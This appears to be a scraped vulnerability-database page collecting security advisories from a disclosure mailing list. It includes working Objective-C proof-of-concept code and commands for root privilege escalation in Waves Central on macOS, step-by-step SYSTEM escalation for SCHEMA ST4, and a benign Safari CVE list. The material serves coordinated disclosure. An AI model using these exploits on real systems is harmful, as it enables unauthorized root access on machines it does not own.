client\u0027s PID to check its\ncode signature. This is insecure and can be attacked using a PID reuse\nattack, which will trick the service into thinking the connecting client\nhas a valid code signature.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nThe attacker can abuse the function \"executeIrlFileWithPath\" offered by\nthe privileged helper to get code execution as root.\nTo demonstrate this the following dynamic library has been developed.\nAfter loading the library, \"executeIrlFileWithPath\" is triggered\nto execute /tmp/lol which is basically a shell script:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n//gcc -dynamiclib name\n#include \u003cstdio.h\u003e\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n homeDir:(NSString *)homeDir\n asUser:(id)asUser\n completion:(void (^)(id result))completion;\n\n//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: \n(__C.NSNumber) -\u003e ()) -\u003e ()\n\n@end\n\n__attribute__((constructor))\nstatic void myconstructor(int argc, const char **argv)\n{\n \n NSXPCConnection *conn =\n [[NSXPCConnection alloc]\n initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n options:NSXPCConnectionPrivileged];\n\n conn.remoteObjectInterface =\n [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n [conn resume];\n\n id\u003cHelperProtocol\u003e proxy =\n [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n NSLog(@\"XPC error: %@\", error);\n }];\n\n [proxy getVersionWithCompletion:^(id version) {\n NSLog(@\"Version: %@\", version);\n }];\n [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n homeDir:@\"/tmp\"\n asUser:@\"root\"\n completion:^(id result){\n NSLog(@\"Execution result: %@\", result);}];\n [[NSRunLoop currentRunLoop] run];\n\n----------------------------------------------------------------------\n\nThis code can be compiled using the following command:\nclang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm\n\nAfter loading the library, /tmp/lol is created as described above:\ncat /tmp/lol\n/bin/bash -c \"touch /etc/pwnedbytmp\"\n\nIt can then be loaded into the injectable XPC client InstlHelperApplication:\n\nDYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nTo exploit this issue an attacker can abuse the insecure client validation via\nPID to gain access to the corresponding NSXPC functions via XPC.\nThe \"executeIrlFileWithPath\" function can be exploited to gain code execution\nas root. The following Objective C PoC code was created:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n#include \u003cspawn.h\u003e\n#include \u003csys/stat.h\u003e\n\n#define RACE_COUNT 32\n#define BINARY \"/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\"\n\n// allow fork() between exec()\nasm(\".section __DATA,__objc_fork_ok\\n\"\n\"empty:\\n\"\n\".no_dead_strip empty\\n\");\n\nextern char **environ;\n\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n homeDir:(NSString *)homeDir\n asUser:(id)asUser\n completion:(void (^)(id result))completion;\n@end\n\nvoid child() {\n\n // send the XPC messages\n NSXPCConnection *conn =\n [[NSXPCConnection alloc]\n initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n options:NSXPCConnectionPrivileged];\n\n conn.remoteObjectInterface =\n [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n [conn resume];\n\n id\u003cHelperProtocol\u003e proxy =\n [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n NSLog(@\"XPC error: %@\", error);\n }];\n\n [proxy getVersionWithCompletion:^(id version) {\n NSLog(@\"Version: %@\", version);\n }];\n [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n homeDir:@\"/tmp\"\n asUser:@\"root\"\n completion:^(id result){\n NSLog(@\"Execution result: %@\", result);}];\n\n char target_binary[] = BINARY;\n char *target_argv[] = {target_binary, NULL};\n posix_spawnattr_t attr;\n posix_spawnattr_init(\u0026attr);\n short flags;\n posix_spawnattr_getflags(\u0026attr, \u0026flags);\n flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\n posix_spawnattr_setflags(\u0026attr, flags);\n posix_spawn(NULL, target_binary, NULL, \u0026attr, target_argv, environ);\n}\n\nbool create_nstasks() {\n\n NSString *exec = [[NSBundle mainBundle] executablePath];\n NSTask *processes[RACE_COUNT];\n\n for (int i = 0; i \u003c RACE_COUNT; i++) {\n processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @\"imanstask\" ]];\n }\n\n int i = 0;\n struct timespec ts = {\n .tv_sec = 0,\n .tv_nsec = 500 * 1000000,\n };\n\n nanosleep(\u0026ts, NULL);\n if (++i \u003e 4) {\n for (int i = 0; i \u003c RACE_COUNT; i++) {\n [processes[i] terminate];\n }\n return false;\n }\n\n return true;\n}\n\nint main(int argc, const char * argv[]) {\n\n if(argc \u003e 1) {\n // called from the NSTasks\n child();\n\n } else {\n NSLog(@\"Starting the race\");\n create_nstasks();\n }\n\n return 0;\n}\n----------------------------------------------------------------------\n\nThis can be compiled using gcc with the following command:\ngcc -o exploit_waves_pid -framework Foundation exploit_pid.m\n\nAfter creating the file /tmp/lol accordingly the binary can be run and the\nhelper will execute /tmp/lol as root.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 16.1.6.244088\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us\n2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted\n communication as well as dedicated security email address.\n2026-01-27: Asking for the encryption details.\n2026-01-28: Vendor provides PGP key.\n2026-01-29: Submitting encrypted advisory to vendor.\n2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted\n upon request.\n2026-02-18: Ven"
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GCVE-1988-2026-0369
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:31
VLAI
EPSS
VEX
Title
SEC Consult SA-20260617-1 :: Multiple Vulnerabilities in Quanos Content Solutions - SCHEMA ST4
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260617-1 >
=======================================================================
title: Multiple Vulnerabilities
product: Quanos Content Solutions - SCHEMA ST4
vulnerable version: All versions of SCHEMA ST4 on-premises
fixed version: Not applicable, see workaround section for mitigation.
CVE number: CVE-2026-11857, CVE-2026-11858
impact: high
homepage:https://quanos.com/
found: 2025-12-19
by: J. Kruchem (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"SCHEMA ST4 is a component content management system for the professional
creation of technical documentation. SCHEMA ST4 is one of the most widely
used software solutions of its type and makes the entire creation process
easier and more efficient, saving costs in many areas."
Source:https://quanos.com/en/products/schema-st4/
Business recommendation:
------------------------
The vendor does not provide a patch but a workaround which requires
their customers to disable the affected "Client Update Service". Updating
the client is then only possible manually with a privileged user account.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) .NET Remoting Local Privilege Escalation Vulnerability (CVE-2026-11857)
A local privilege escalation vulnerability exists in SCHEMA ST4 due to insecure
deserialization in the .NET Remoting service.
The service is configured with TypeFilterLevel.Full and bound to local interfaces
only (named pipes), allowing a local authenticated attacker to send specially crafted
objects. This leads to arbitrary code execution in the context of the update process
with the highest SYSTEM rights. Local host access with an authenticated user session
is required for successful exploitation. Network-only exploitation is not possible.
2) Arbitrary File Overwrite Vulnerability (CVE-2026-11858)
The SCHEMA ST4 Update Service acts as a privileged helper component running as
NT Authority\SYSTEM to perform file operations requiring elevated rights.
However, it exposes a .NET Remoting interface over a Named Pipe without sufficient
access controls or authentication. This allows any local low-privileged user to
connect and invoke methods like Update(), resulting in arbitrary file
write/delete operations with SYSTEM privileges. This ultimately leads to local
privilege escalation.
Proof of concept:
-----------------
The following steps can be taken in order to exploit the identified security issue
in the updater service.
1) .NET Remoting Local Privilege Escalation Vulnerability (CVE-2026-11857)
1.1) Connect to Name Pipe
Invoking NamedPipe.ConnectToPipe("ST4Updater2") and sending pipe.Write("init")
returns a port which is used for .NET Remoting. Only local exploitation is
possible.
1.2) Send .NET Remoting payload
Use the ExploitRemotingService by James Forshaw (https://github.com/tyranid/ExploitRemotingService)
to achieve arbitrary code execution.
2) Arbitrary File Overwrite Vulnerability (CVE-2026-11858)
2.1) Connect to Named Pipe
Invoking NamedPipe.ConnectToPipe("ST4Updater2") and sending pipe.Write("init")
returns a port which is used for .NET Remoting.
2.2) Get .NET Remoting Object
Get remote object tcp://127.0.0.1:<port>/UpdateProcessCore
2.3) Create Manifest
An essential part of the exploit is creating a Manifest.rdf containing e.g.
Directory "." and file exploit.exe:<something like md5> (is not checked).
The Manifest needs to be zlib-compressed and be served via HTTP.
2.4) Create Payload
Create a zlib-compressed file (e.g. .exe, .msi, .dll, ...) name it to
your choosing like <e.g. md5> and put it into the HTTP root (like
the Manifest).
2.5) Invoke Update() from remote .NET object
Use the object from 2.2) and provide proper arguments.
Use "Newer" for writing files as system (same name will be deleted beforehands)
Use "Remove" for deleting files and/or directories (depending on Manifest)
Example:
[ Proof of Concept example removed ]
2.6) Privilege Escalation
To achieve privilege escalation e.g. write a custom HID.dll using the exploit to
C:\Program Files\Common Files\microsoft shared\ink\ then open the Microsoft
on-screen keyboard in a security context (e.g. CTRL + ALT + ENTF). The custom
commands are executed with SYSTEM privileges.
[ ST4Updater.png ]
Figure 1: Proof of concept
Vulnerable / tested versions:
-----------------------------
The following version has been tested:
* 12.0.4.0 ST4 2022 SP4 (1d4a0bde) ??? SCHEMA ST4 12.4 build 2023.02.21-1d4a0bde
According to the vendor, all versions of SCHEMA ST4 on-premises are affected.
The Cloud/SaaS deployments of SCHEMA ST4 are not affected. The Client Update
Service has been removed in the cloud architecture according to the vendor.
Vendor contact timeline:
------------------------
2025-12-19: Contacting vendor throughinfo () quanos com; no response
2026-01-13: Contacting CISO through LinkedIn. Response after 1 Minute (at 7 pm).
2026-01-14: Sending more details via email tosecurity () quanos com;
Vendor answers that they will analyze our information and will get
back to us.
Asking the vendor how we should submit our security advisory.
2026-01-22: Vendor responds that the architecture of ST4 is by design and only
exploitable within the on premises version of ST4 (not cloud/SaaS).
Provides a workaround to disable the client update service.
2026-01-23: Updating our advisory regarding workaround, recommending to patch
the issue, as also .NET remoting can be exploited. Asking whether
the on premises version is EOL.
2026-01-28: Vendor responds to clarify our questions internally.
2026-02-09: Asking for a status update.
2026-02-10: Vendor is still waiting for an internal response.
2026-03-05: Asking for a status update.
2026-03-10: Vendor is still in internal clarification process.
2026-03-20: Vendor provides detailed explanation regarding "Client Update "Service",
which already got removed in the Cloud/SaaS solution, on-premises exploitation
is impossible in properly managed environments according to the vendor.
As a workaround, the Update Service should be disabled. The .NET Remoting
part only communicates in a closed VPC network within the Cloud solution.
An attacker already needs LAN access for the on-premises version and exploitation
is therefore limited according to the vendor. Vendor suggests to include
their assessment of the case in our advisory.
2026-03-20: Response to the vendor that the attack path for the "Client Update Service"
is to escalate privileges from a low-privileged user to admin. In order to
exploit .NET Remoting, host access is also required. Asking for affected
versions and whether no update will be provided except the workaround.
2026-04-08: Vendor responds with affected versions and details on workaround
implications for end users
2026-06-10: Informing vendor about upcoming release for 16th June, providing reserved
CVE numbers.
2026-06-12: Vendor responds that they will provide feedback on 15th June.
2026-06-15: Asking the vendor regarding the feedback, as we did not receive it (late
afternoon). Vendor responds that they are still working on the feedback.
Vendor submits feedback in the evening.
2026-06-16: Responding to feedback, adjusted advisory.
2026-06-17: Public release of security advisory.
Solution:
---------
The vendor does not provide a patch but a workaround which requires
their customers to disable the "Client Update Service". Updating the client
is then only possible with a privileged user account.
The vendor provided the following statement:
"Quanos confirms that exploitation requires local host access with an
authenticated user session. In properly managed environments following the
Least Privilege principle, the attack surface is significantly reduced.
Quanos Cloud/SaaS deployments are not affected. Quanos considers the
migration to the Cloud/SaaS architecture the strategic long-term solution."
Workaround:
-----------
Disable the "Client-Updateservice" until a fix is provided.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF J. Kruchem / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
13 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Quanos | Content Solutions - SCHEMA ST4 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0369 (this record)
- related CVE-2026-11857
- related CVE-2026-11858
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260617-1 \u003e\n=======================================================================\n title: Multiple Vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Quanos Content Solutions - SCHEMA ST4\n\u00a0vulnerable version: All versions of SCHEMA ST4 on-premises\n \u00a0 \u00a0 fixed version: Not applicable, see workaround section for mitigation.\n CVE number: CVE-2026-11857, CVE-2026-11858\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://quanos.com/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-12-19\n by: J. Kruchem (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"SCHEMA ST4 is a component content management system for the professional\ncreation of technical documentation. SCHEMA ST4 is one of the most widely\nused software solutions of its type and makes the entire creation process\neasier and more efficient, saving costs in many areas.\"\n\nSource:https://quanos.com/en/products/schema-st4/\n\n\nBusiness recommendation:\n------------------------\nThe vendor does not provide a patch but a workaround which requires\ntheir customers to disable the affected \"Client Update Service\". Updating\nthe client is then only possible manually with a privileged user account.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) .NET Remoting Local Privilege Escalation Vulnerability (CVE-2026-11857)\nA local privilege escalation vulnerability exists in SCHEMA ST4 due to insecure\ndeserialization in the .NET Remoting service.\n\nThe service is configured with TypeFilterLevel.Full and bound to local interfaces\nonly (named pipes), allowing a local authenticated attacker to send specially crafted\nobjects. This leads to arbitrary code execution in the context of the update process\nwith the highest SYSTEM rights. Local host access with an authenticated user session\nis required for successful exploitation. Network-only exploitation is not possible.\n\n2) Arbitrary File Overwrite Vulnerability (CVE-2026-11858)\nThe SCHEMA ST4 Update Service acts as a privileged helper component running as\nNT Authority\\SYSTEM to perform file operations requiring elevated rights.\n\nHowever, it exposes a .NET Remoting interface over a Named Pipe without sufficient\naccess controls or authentication. This allows any local low-privileged user to\nconnect and invoke methods like Update(), resulting in arbitrary file\nwrite/delete operations with SYSTEM privileges. This ultimately leads to local\nprivilege escalation.\n\n\nProof of concept:\n-----------------\nThe following steps can be taken in order to exploit the identified security issue\nin the updater service.\n\n1) .NET Remoting Local Privilege Escalation Vulnerability (CVE-2026-11857)\n1.1) Connect to Name Pipe\nInvoking NamedPipe.ConnectToPipe(\"ST4Updater2\") and sending pipe.Write(\"init\")\nreturns a port which is used for .NET Remoting. Only local exploitation is\npossible.\n\n1.2) Send .NET Remoting payload\nUse the ExploitRemotingService by James Forshaw (https://github.com/tyranid/ExploitRemotingService)\nto achieve arbitrary code execution.\n\n\n2) Arbitrary File Overwrite Vulnerability (CVE-2026-11858)\n2.1) Connect to Named Pipe\nInvoking NamedPipe.ConnectToPipe(\"ST4Updater2\") and sending pipe.Write(\"init\")\nreturns a port which is used for .NET Remoting.\n\n2.2) Get .NET Remoting Object\nGet remote object tcp://127.0.0.1:\u003cport\u003e/UpdateProcessCore\n\n2.3) Create Manifest\nAn essential part of the exploit is creating a Manifest.rdf containing e.g.\nDirectory \".\" and file exploit.exe:\u003csomething like md5\u003e (is not checked).\nThe Manifest needs to be zlib-compressed and be served via HTTP.\n\n2.4) Create Payload\nCreate a zlib-compressed file (e.g. .exe, .msi, .dll, ...) name it to\nyour choosing like \u003ce.g. md5\u003e and put it into the HTTP root (like\nthe Manifest).\n\n2.5) Invoke Update() from remote .NET object\nUse the object from 2.2) and provide proper arguments.\nUse \"Newer\" for writing files as system (same name will be deleted beforehands)\nUse \"Remove\" for deleting files and/or directories (depending on Manifest)\n\nExample:\n[ Proof of Concept example removed ]\n\n2.6) Privilege Escalation\nTo achieve privilege escalation e.g. write a custom HID.dll using the exploit to\nC:\\Program Files\\Common Files\\microsoft shared\\ink\\ then open the Microsoft\non-screen keyboard in a security context (e.g. CTRL + ALT + ENTF). The custom\ncommands are executed with SYSTEM privileges.\n\n[ ST4Updater.png ]\nFigure 1: Proof of concept\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested:\n* 12.0.4.0 ST4 2022 SP4 (1d4a0bde) ??? SCHEMA ST4 12.4 build 2023.02.21-1d4a0bde\n\nAccording to the vendor, all versions of SCHEMA ST4 on-premises are affected.\nThe Cloud/SaaS deployments of SCHEMA ST4 are not affected. The Client Update\nService has been removed in the cloud architecture according to the vendor.\n\n\nVendor contact timeline:\n------------------------\n2025-12-19: Contacting vendor throughinfo () quanos com; no response\n2026-01-13: Contacting CISO through LinkedIn. Response after 1 Minute (at 7 pm).\n2026-01-14: Sending more details via email tosecurity () quanos com;\n Vendor answers that they will analyze our information and will get\n back to us.\n Asking the vendor how we should submit our security advisory.\n2026-01-22: Vendor responds that the architecture of ST4 is by design and only\n exploitable within the on premises version of ST4 (not cloud/SaaS).\n Provides a workaround to disable the client update service.\n2026-01-23: Updating our advisory regarding workaround, recommending to patch\n the issue, as also .NET remoting can be exploited. Asking whether\n the on premises version is EOL.\n2026-01-28: Vendor responds to clarify our questions internally.\n2026-02-09: Asking for a status update.\n2026-02-10: Vendor is still waiting for an internal response.\n2026-03-05: Asking for a status update.\n2026-03-10: Vendor is still in internal clarification process.\n2026-03-20: Vendor provides detailed explanation regarding \"Client Update \"Service\",\n which already got removed in the Cloud/SaaS solution, on-premises exploitation\n is impossible in properly managed environments according to the vendor.\n As a workaround, the Update Service should be disabled. The .NET Remoting\n part only communicates in a closed VPC network within the Cloud solution.\n An attacker already needs LAN access for the on-premises version and exploitation\n is therefore limited according to the vendor. Vendor suggests to include\n their assessment of the case in our advisory.\n2026-03-20: Response to the vendor that the attack path for the \"Client Update Service\"\n is to escalate privileges from a low-privileged user to admin. In order to\n exploit .NET Remoting, host access is also required. Asking for affected\n versions and whether no update will be provided except the workaround.\n2026-04-08: Vendor responds with affected versions and details on workaround\n implications for end users\n2026-06-10: Informing vendor about upcoming release for 16th June, providing reserved\n CVE numbers.\n2026-06-12: Vendor responds that they will provide feedback on 15th June.\n2026-06-15: Asking the vendor regarding the feedback, as we did not receive it (late\n afternoon). Vendor responds that they are still working on the feedback.\n Vendor submits feedback in the evening.\n2026-06-16: Responding to feedback, adjusted advisory.\n2026-06-17: Public release of security advisory.\n\n\nSolution:\n---------\nThe vendor does not provide a patch but a workaround which requires\ntheir customers to disable the \"Client Update Service\". Updating the client\nis then only possible with a privileged user account.\n\nThe vendor provided the following statement:\n\"Quanos confirms that exploitation requires local host access with an\nauthenticated user session. In properly managed environments following the\nLeast Privilege principle, the attack surface is significantly reduced.\nQuanos Cloud/SaaS deployments are not affected. Quanos considers the\nmigration to the Cloud/SaaS architecture the strategic long-term solution.\"\n\n\nWorkaround:\n-----------\nDisable the \"Client-Updateservice\" until a fix is provided.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF J. Kruchem / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0367
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:28
VLAI
EPSS
VEX
Title
APPLE-SA-05-13-2026-1 Safari 26.5
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-05-13-2026-1 Safari 26.5
Safari 26.5 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/en-us/127121.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may prevent Content
Security Policy from being enforced
Description: A validation issue was addressed with improved logic.
WebKit Bugzilla: 308906
CVE-2026-43660: Cantina
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may prevent Content
Security Policy from being enforced
Description: The issue was addressed with improved input validation.
WebKit Bugzilla: 308675
CVE-2026-28907: Cantina
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may disclose
sensitive user information
Description: This issue was addressed with improved access restrictions.
WebKit Bugzilla: 309698
CVE-2026-28962: Luke Francis, Vaagn Vardanian, kwak kiyong / kakaogames,
Vitaly Simonovich, Adel Bouachraoui, greenbynox
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 307669
CVE-2026-43658: Do Young Park
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 308545
CVE-2026-28905: Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang
WebKit Bugzilla: 308707
CVE-2026-28847: DARKNAVY (@DarkNavyOrg), Anonymous working with TrendAI
Zero Day Initiative, Daniel Rhea
WebKit Bugzilla: 309601
CVE-2026-28904: Luka Rački
WebKit Bugzilla: 310880
CVE-2026-28955: wac and Kookhwan Lee working with TrendAI Zero Day
Initiative
WebKit Bugzilla: 310303
CVE-2026-28903: Mateusz Krzywicki (iVerify.io)
WebKit Bugzilla: 309628
CVE-2026-28953: Maher Azzouzi
WebKit Bugzilla: 309861
CVE-2026-28902: Tristan Madani (@TristanInSec) from Talence Security,
Nathaniel Oh (@calysteon)
WebKit Bugzilla: 310207
CVE-2026-28901: Aisle offensive security research team (Joshua Rogers,
Luigino Camastra, Igor Morgenstern, and Guido Vranken), Maher Azzouzi,
Ngan Nguyen of Calif.io
WebKit Bugzilla: 311631
CVE-2026-28913: an anonymous researcher
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 313939
CVE-2026-28883: kwak kiyong / kakaogames
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: An app may be able to access sensitive user data
Description: This issue was addressed with improved data protection.
WebKit Bugzilla: 311228
CVE-2026-28958: Cantina
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: The issue was addressed with improved input validation.
WebKit Bugzilla: 310527
CVE-2026-28917: Vitaly Simonovich
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 310234
CVE-2026-28947: dr3dd
WebKit Bugzilla: 310544
CVE-2026-28946: Gia Bui (@yabeow) from Calif.io, dr3dd, w0wbox
WebKit Bugzilla: 312180
CVE-2026-28942: Milad Nasr and Nicholas Carlini with Claude, Anthropic
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: A malicious iframe may use another website’s download settings
Description: The issue was addressed with improved UI handling.
CVE-2026-28971: Khiem Tran
WebKit Bugzilla: 311288
WebRTC
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 311131
CVE-2026-28944: Kenneth Hsu of Palo Alto Networks, Jérôme DJOUDER, dr3dd
Additional recognition
Safari
We would like to acknowledge sean mutuku for their assistance.
Safari Push Notifications
We would like to acknowledge Robert Mindo for their assistance.
WebKit
We would like to acknowledge Muhammad Zaid Ghifari (Mr.ZheeV),
Kalimantan Utara, Qadhafy Muhammad Tera, Vitaly Simonovich for their
assistance.
WebRTC
We would like to acknowledge Hyeonji Son (@jir4vv1t) of Demon Team for
their assistance.
Safari 26.5 may be obtained from the Mac App Store.
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
reference
GCVE-1988-2026-0367 (this record)
- related CVE-2026-28847
- related CVE-2026-28883
- related CVE-2026-28901
- related CVE-2026-28902
- related CVE-2026-28903
- related CVE-2026-28904
- related CVE-2026-28905
- related CVE-2026-28907
- related CVE-2026-28913
- related CVE-2026-28917
- related CVE-2026-28942
- related CVE-2026-28944
- related CVE-2026-28946
- related CVE-2026-28947
- related CVE-2026-28953
- related CVE-2026-28955
- related CVE-2026-28958
- related CVE-2026-28962
- related CVE-2026-28971
- related CVE-2026-43658
- related CVE-2026-43660
{
"containers": {
"cna": {
"affected": [
{
"product": "Safari",
"vendor": "Apple",
"versions": [
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"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Apple Product Security via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-05-13-2026-1 Safari 26.5\n\nSafari 26.5 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127121.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: A validation issue was addressed with improved logic.\nWebKit Bugzilla: 308906\nCVE-2026-43660: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 308675\nCVE-2026-28907: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: This issue was addressed with improved access restrictions.\nWebKit Bugzilla: 309698\nCVE-2026-28962: Luke Francis, Vaagn Vardanian, kwak kiyong / kakaogames,\nVitaly Simonovich, Adel Bouachraoui, greenbynox\n\nWebKit\nAvailable for: macOS Sonoma and 